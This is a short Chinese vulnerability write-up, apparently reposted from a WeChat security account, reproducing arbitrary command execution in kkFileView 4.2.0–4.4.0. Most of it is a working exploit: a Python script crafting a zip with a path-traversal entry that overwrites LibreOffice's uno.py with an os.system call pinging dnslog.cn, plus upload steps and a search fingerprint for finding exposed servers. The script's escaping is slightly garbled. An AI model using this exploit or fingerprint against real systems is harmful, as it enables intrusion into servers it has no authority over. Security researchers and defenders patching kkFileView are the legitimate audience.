漏洞名称
kkfileview 任意命令执行漏洞
漏洞复现
1、创建python文件,将代码复制到文件中,替换需要执行的命令
import zipfile
if __name__ == "__main__":
try:
binary1 = b'test'
binary2 = b'import osrnos.system('ping dnslog.cn')'
zipFile = zipfile.ZipFile("test.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("test.zip")
zipFile.writestr("test", binary1)
zipFile.writestr("../../../../../../../../../../../../../../../../../../../opt/libreoffice7.5/program/uno.py", binary2)
zipFile.close()
except IOError as e:
raise e
2、运行python代码后会生成test.zip文件
3、新建后缀名为odt的Libreoffice文档,输入任意内容
4、进入kkFileView首页
5、上传本地文件预览处选择test.zip,上传成功后点击预览
6、回到页面中选择odt文件并上传,点击预览后,查看命令执行结果
总结:预览odt文件时,会将odt文件转换为pdf文件,在转换过程中调用了Libreoffice中的uno.py,因此,我们需要先利用任意文件写入漏洞,将执行命令的python代码追加到uno.py中,在点击预览odt文件时,即可完成命令执行操作
搜索指纹
title="kkfileview"
利用条件
4.2.0<= kkfileview <= 4.4.0
免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号不为此承担任何责任。
原文始发于微信公众号(道一安全):kkfileview 任意命令执行漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论